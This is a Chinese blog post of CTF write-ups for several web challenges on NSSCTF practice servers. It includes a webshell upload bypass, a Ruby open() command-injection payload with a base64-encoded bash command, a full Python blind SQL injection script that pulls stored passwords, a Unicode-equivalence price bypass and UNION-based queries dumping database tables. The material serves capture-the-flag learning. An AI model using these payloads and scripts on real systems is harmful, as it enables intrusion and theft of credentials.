NSSCTF第16页(3)

2023-12-18 14:20:18

[SWPUCTF 2023 秋季新生赛]ez_talk

上传一句话木马得到

抓包改文件类型

上传成功,只是倒序而已

得到flag

[第五空间 2021]PNG图片转换器

这道题采用的是ruby语言,第一次听说

2021-第五空间智能安全大赛-PNG图片转换器 | 管道符与反引号的配合、open()函数绝杀_[第五空间 2021]png图片转换器-CSDN博客

ruby的open函数存在命令注?反弹shell?

CVE-2017-17405漏洞复现-CSDN博客

[第五空间 2021]web 复现wp-CSDN博客

payload:

file=|bash -c "$(echo 'ZW52' | base64 -d)" 5a57a30b4e46f7124dcc51675f15add0.png?

只需要变echo后面的base编码就可以了

最后在环境变量里找到了flag

?[HZNUCTF 2023 preliminary]ezlogin

?看到了过滤的函数,以及username要base64编码

脚本 得到flag

import base64
import requests
import time

s = requests.session()
url = "http://node5.anna.nssctf.cn:28239/"
flag = ''
i = 0
while True:
    i = i + 1
    Max = 128
    Min = 32
    Mid = (Max + Min) // 2
    while Min < Max:
        # payload = "1^(substr(database(),{},1)='{}')^1".format(i,j)
        # payload = "1'/**/or/**/(ord(substr(DATABASE(),{},1))/**/>/**/{})#".format(i,Mid)
        # payload = "1'/**/or/**/(ord(substr((SELECT/**/GROUP_CONCAT(TABLE_NAME)/**/FROM/**/INFORMATION_SCHEMA.TABLES/**/WHERE/**/TABLE_SCHEMA/**/like/**/'users'),{},1))/**/>/**/{})#".format(i,Mid)
        # payload = "1'/**/or/**/(ord(substr((SELECT/**/GROUP_CONCAT(COLUMN_NAME)/**/FROM/**/INFORMATION_SCHEMA.COLUMNS/**/WHERE/**/TABLE_NAME/**/like/**/'user'),{},1))/**/>/**/{})#".format(i, Mid)
        payload = "1'/**/or/**/(ord(substr((SELECT/**/GROUP_CONCAT(Password)/**/FROM/**/user),{},1))/**/>/**/{})#".format(
            i, Mid)

        payload = base64.b64encode(payload[::-1].encode('utf-8')).decode('utf-8')
        data = {
            'username': payload
        }
        r = requests.post(url=url, data=data)
        if "success" in r.text:
            Min = Mid + 1
            Mid = (Min + Max) // 2
        else:
            Max = Mid
            Mid = (Min + Max) // 2

    flag = flag + chr(Mid)
    if Mid == 32:
        break
    print(flag)
    # 速度太快显示不完全
    time.sleep(0.5)

?[ASIS 2019]Unicorn shop

源码


<meta charset="utf-8"><!--Ah,really important,seriously. -->
提示utf-8编码很重要

题目提示python unicode,利用的漏洞是unicode安全问题,是关于Unionde等价性的漏洞

post输入id=4&price=1337 时提示Only one char(?) allowed!

只能使用一个字符,一个字符能够购买id4,于是我们需要找到一个字符比1337大的数字,前端html使用的是utf-8,后端python处理使用的是unicode,编码不一致造成了转码安全问题
在编码网站https://www.compart.com/en/unicode/,寻找大于1337的数字就可以得到flag

payload: 4???? %E1%8D%BC

?[b01lers 2020]Life On Mars

点击网页没发现什么异常,也没找到什么点

bp抓包发现切换页面url是传参的

尝试sql注入,发现在传参后边注入1'回显是1

可能是有sql注入的

后面在尝试的时候发现要带着所有的参数进行注入才行

判断列数,发现3的时候回显异常,有两列

?看回显位,发现有两位

查询当前数据库

query?search=amazonis_planitia union select database(),2&{}&_=1702874710825

查表 query?search=amazonis_planitia union select 1,group_concat(table_name) from information_schema.tables where table_schema='alien_code'&{}&_=1702874710825

查列

query?search=amazonis_planitia union select 1,group_concat(column_name) from information_schema.columns where table_name='code'&{}&_=1702874710825?

?查字段内容

就是在最开始找注入点的时候会卡一下,剩下的都还好

文章来源:https://blog.csdn.net/wwwwyyyrre/article/details/135043087
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。